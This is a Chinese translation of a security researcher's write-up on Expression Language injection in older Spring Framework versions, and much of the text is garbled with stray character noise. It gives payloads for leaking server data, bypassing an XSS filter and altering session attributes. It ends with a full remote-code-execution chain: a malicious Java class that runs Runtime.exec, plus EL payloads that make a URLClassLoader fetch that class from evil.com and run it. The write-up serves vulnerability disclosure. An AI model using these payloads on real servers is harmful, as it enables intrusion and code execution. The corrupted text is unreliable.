Remote Code with2 ` E# a1 \. G: V+ @3 q# g
Expression Language Injection% z$ n6 p- Z- n& r
Spring Framework脆弱性—DanAmodio
7 }: m& C' W) q! B& d全世界超过22,000组织已经下载了131.4万过时的Spring Framework,使用在业务中/ H. B4 B1 w9 U
可能会存在风险。
7 r- E. l# D5 I在2011年,来自Minded Security 的Stefano Di Paola 和来自Aspect Security的
1 K$ @/ z; i7 M6 HArshan Dabirsiaghi 在Spring Framework中发现了一个有趣模式。Stefano创造了Expression Language (EL) 注入。他们的发现披露了某些双重的解析EL 的spring 标签可
! b- j- x8 U$ T8 b; I以泄露服务器上的敏感数据。这是由于spring 提供了独立于jsp/servlet容器的EL支持,
0 r: b6 B8 e, `) g4 j% X4 g( ~) p以此来作为向下兼容的一种方式。因此在jsp2.0之前,EL 是不被支持的。这个功能在当前
& J' B' j) T0 u( M+ X' Y版本中是默认打开的,应用程序使用了此模式描述是易受攻击的。
- f6 v- \8 y. D由于每个应用程序并不都会出现反射xss这种弱点,虽然很难量化它的深度和广度,但
" L2 u" Q2 E) }1 _# U2 a; L' q我们根据Sonatype最新的统计知道,全世界超过22,000的组织下载Spring 3.0.5以下版
( Q. @- ~- ]3 V n+ G本已经超过131.4 万。Point-in-fact, one large retail organization consumed 241 different artifacts, 4,119 total downloads。
: I' `- [, m5 E2 B: m这些版本不支持禁用double EL resolution.8 h7 q0 H6 q9 t# V
这个问题原来的影响是信息泄露,但是我将举例说明它如何在Glassfish 和其他包含
' K1 N9 e; U3 f! l" @# Y* u/ O: D5 gEL2.2容器上可能进行远程代码执行。
0 i- L& W7 u# u+ @+ h$ R这是一个原始信息泄露的攻击例子:
+ d0 p9 j9 ]% E9 Z' ~请求:/ D, b8 G7 ^" h) R% Q
ttp://vulnerable.com/foo?message=${applicationScope}
; N P: k. v( ^/ U到达以下内容页面:( Z) R7 v& ]; x2 J- _1 Z
结果将输出一些包含内部服务器信息calsspath 和本地工作目录- l, {4 B0 V1 m! y6 ]
你也可以做一些其他事情,如这样:) p8 `6 ~( V0 o+ D
${9999+1}
- O7 A9 W& C, L还可以访问session 对象和beans! h3 F/ S0 w% X5 W1 N
${employee.lastName}
& E& x% o3 o+ F& c4 ]% C在执行Glassfish上客户端应用程序的渗透测试时,我遇到了同样的模式,知道大概是
1 Y0 ]9 n2 Q8 R, f& v' ?# M/ N2 iEL 注入,做了额外的测试后,确认了这一发现,同时延续下去,我想挖掘一些有滋味的东
7 j9 [8 g3 h# x; t6 s' X西,比如XSS.
5 k" u5 S& K6 ~8 r5 \哎,应用程序的输入过滤终止了我的请求,因此去掉了””标签
f; r, f/ P4 F突发奇想,我想“我可以在JAVA中进行字符操纵,为什么我不试试利用EL来绕过过滤
/ Y! @. Q$ y. v) v: s, i呢?”: ^" b2 ]( |" L! r5 k5 w: l
因此,我尝试巳缦拢�
. c+ p4 ]5 Q' L* V( S5 ahttp://vulnerable.com/app?code=${param.foo.replaceAll(“P”,”Q”)}foo=PPPP y: A" ]$ t; G& ^; }. I, S: D( K" B
P
1 ]& K; Y- m1 a. e- H2 ^我注意到返回的错误代码时QQQQQ,由于String.replaceall 方法已经被调用,所以返
' P9 I+ ^- s) R* h9 _/ ~% f% n回的文本被插入进了spring:message 标签。
$ f( u9 v& U, t9 s' m这里是一个最终绕过过滤的实例:
% A' @: w8 y) U5 V' D: o5 Ehttp://vulnerable.com/app?code=${param.foo.replaceAll(“P”,””)}&foo=PscriptQalert(1) /scriptQ6 L% a$ i* J H& X9 f
它运行的很好,接下来一个小时我什么都没想。然后我认识到他是真的真的糟糕的。为
1 }* `3 c, P5 n5 W; ~) g什么可以在EL中像这样插入方法。接下来,我还可以做些其他好玩的事情呢?, }" N9 q9 U. Z- o% L
经过一番研究,我学习到EL2.2 增加了方法调用。/ c+ v$ R4 E: N) p* T" m3 {7 X
我写了一个快速测试应用程序代码并且检测一些功能
) U. S( o9 n$ [% ?7 H, ]! r${pageContext.request.getSession().setAttribute(“account”,”123456″)}# j; O6 p2 Z% W3 C5 X
${pageContext.request.getSession().setAttribute(“admin”,true)}8 } ?; t# y: K' s! |4 E' S
好了,会话对象修改是一个明显的风险。我真的想接触到对象,但是我没有一个直接的
0 @, t8 V& o0 N9 r% A9 w% H指向pageContext对象,也许我可以使用反射,像String.getClass().forName(string)?' @- G$ \$ F- W$ J3 q
${“”.getClass().forName(“java.net.Socket”).newInstance().connect(“127.0.0.1
; _( Z) r ~. Y+ H( g“, 1234)}
: s- \: T/ b9 D: m* O C" A) \${“”.getClass().forName(“java.lang.Runtime”)}# Z1 t1 o% y" z) F+ B# J8 s6 F
哇,没有方法让它工作,由于可以接触到任何东西这可是灾难性的。不幸的是,它是不
. J3 O9 }$ I2 j8 P可能调用newinstance()初始化许多危险类(如Runtime),由于它们没有提供默认的构造函* F, @4 B+ J D( B. h2 p6 b3 h
数,我们无法创建对象。当它请求null或者一个空数组,getMethods()[0].invoke()会有
* v; m0 C; Q* p. X) }2 N一些问题。在传递数据到方法之前,EL 似乎是理解它为一个字符串字面值。我猜测是由于1 v1 G ?; ~2 a0 f
方法签名invoke(Object obj, Object„ args)
+ M& ?; ]$ t" M5 M% K% w$ L# l, `Jeff Williams (Aspect Security 和OWASP核心创始人) ,Arshan,和我都思考这个问. x! D% o+ Q0 w: c! X. a
题,以让它可以工作起来。
" v2 w8 Y! q5 d0 i6 u' o漏洞利用:2 T3 S P O7 b4 K/ o) {6 o
我在墙上撞的我的脑袋bangbang响,我已经用尽了所有想法,现在我们公开这个,我0 z5 x6 t3 ^1 u1 m$ V: y/ p
希望你们中的一些JAVA奇才告诉我我是如此的可笑。
3 S% F2 f9 w5 h" p- S7 e2 }这里有一些我试过的失败的用例,为了试图让它工作的用例:
/ i3 e: [6 H2 i6 A. ^ 写文件到文件系统
/ s$ j2 N9 F( w1 Z 试图载入org.springframework.expression.spel.standard.SpelExpressionParser.
- w, v7 W0 J3 {4 F9 W, ^( g我认为这些可以很好的工作,但是我不能找到合适的类来载入。; ^3 q0 f' N' a: O6 h6 q
${pageContext.getClass().getClassLoader().loadClass(“org.springframework.expression.spel.standard.SpelExpressionParser”)}
& g5 H3 h, C" w0 [6 [# B: ]2 I. fjavax.servlet.jsp.el.ELException: java.lang.ClassNotFoundException:
! u# X: g8 d, M4 B. R% `3 j6 r0 jorg.springframework.expression.spel.standard.SpelExpressionParser not found: W3 s* U1 ]! ]( F% T/ o
by; r4 M8 a) r7 K l4 ^
org.glassfish.web.javax.servlet.jsp [194]., i ^+ z# a" }5 s4 U2 [
利用反射来修改java.lang.Runtime.currentRuntime的属性为Public& ]' P. B9 N* b4 x2 J
利用反射来创建一个新的Runtime(and watch the world burn)
. a/ \3 ], I, i( i1 M# M5 J9 E: k$ w9 p${pageContext.request.getSession().setAttribute(“rtc”,”".getClass().forName
% z# Q& A6 J. U, G5 R9 h(“java.lang.Runtime”)).getDeclaredConstructors()[0])}
. D' v4 _$ I6 r. f3 N4 ]" }6 E${pageContext.request.getSession().getAttribute(“rtc”).setAccessible(true)}4 c( {8 N W, E) D) E/ f
使用java.lang.ProcessBuilder. H8 c% s, ^/ J4 g9 [# ?' v. ~$ ]
用表达式语言来评估表达式语言
6 J* C( X" c9 q3 [9 W8 J" aExpression-ception ! 在这点我想我快疯了,载体并没有任何实际意义.
, F3 A+ _# U# |/ m9 V${pageContext.getExpressionEvaluator().parseExpression(“pageContext.request
' q: @$ D' [: S* G& E: X: S9 T* q! ~“,”".getClass(),null)}. [! ~: j: e0 B2 s. |
创建一个ObjectInputStream,序列化一个类并将其作为一个参数发送(也有点疯狂)
( f) [( G* I6 A# q9 j我在使用一个空数组通过Method.invoke()时失败了很多次
! j" p; H6 ]6 ~; o; ^! l. {“”.getClass().forName(“java.lang.Runtime”).getMethods()[5].invoke(param.foo+ V( w* @4 j( [) A0 u
.getClass().forName(“java.lang.Runtime”),”".getClass().forName(“java.util.A
" J' M. @) e5 @; ]/ {- W/ l& i+ nrrayList”).newInstance().toArray())
4 b2 W! Y9 |* e8 Q, ~java.lang.IllegalArgumentException: wrong number of arguments1 L4 F; A, ?+ @$ Q2 w+ Z( l0 D" n
最后,有一天晚上我被绊倒在一个问题前:我能得到一个URLClassLoader,因此我可
& v4 n* Y) g- i+ n0 }3 i以创建一个恶意class文件并且指向类装载器.
6 [" E; ~* F/ J我写了一个JAVA 类,它试图打开服务器上的计算器,来证明远程代码执行: o c4 M. i6 i
public class Malicious {$ K2 s9 C0 L D7 E
public Malicious() {
# n+ k( H3 o* ^& T/ Ftry {+ O g, h7 S+ Q( E2 v
java.lang.Runtime.getRuntime().exec(“open -a Calculator”); //Mac
! [) H- V1 R4 M2 ~( cjava.lang.Runtime.getRuntime().exec(“calc.exe”); //Win/ r: t8 o/ y3 |( }( ~# f4 @
} catch (Exception e) {# z9 T1 b! Q9 p8 Q
}
% P* d1 s! i5 u+ |, I}
5 `0 J; q5 r t2 e$ T我们创建了一个数组列表将被用于构造一个新的URLClassLoader,它需要被存储在回; m1 W/ P, e, `, x
话中,因此它可以被使用.
% @2 e) ^( ?! W" C4 k+ W0 J${pageContext.request.getSession().setAttribute(“arr”,”".getClass().forName
9 P! i, G- c; b" I( ^9 D; T/ o w& d(“java.util.ArrayList”).newInstance())}
8 x% i3 w% v: t! Z/ |4 `& F: ~! H% i+ YURLClassLoader 提供了一个newInstance 方法,它接受URL对象数组。我们需要创建8 z& f# Z0 w* u$ k# v5 ~
一个新的包含我们恶意代码路径的URL。ServletContext可以提供给我们一个URL对象和
) y* d3 C. K3 ^0 u$ wgetResource(string) 方法,但是我们不可能直接创建一个新的实例。然而URI提供了一个
: E& c" i. w% v$ d. R我们可以调用的create(string)方法,然后转换对一个URL对象。7 @+ R3 j6 V3 u g# J
${pageContext.request.getSession().getAttribute(“arr”).add(pageContext.getServletContext().getResource(“/”).toURI().create(“http://evil.com/path/to/wh s" v" a j. c F
ere/malicious/classfile/is/located/”).toURL())}
" x* e2 g/ | J8 j5 \然后我们发现了一个到URLClassLoader指示器,因此newInstance 方法可以被调用,% w& q" u6 t, U
恶意类文件被装载并创建,触发远程代码.2 ~" Q; C+ T/ Y) A# V+ x$ r
${pageContext.getClass().getClassLoader().getParent().newInstance(pageConte$ ]. x4 _! X& Y4 Q2 J, S1 N' X
xt.request.getSession().getAttribute(“arr”).toArray(pageContext.getClass().
/ e3 r! `. K: n" A# H! ^2 ZgetClassLoader().getParent().getURLs())).loadClass(“Malicious”).newInstance, {" G3 p2 c2 a
()} |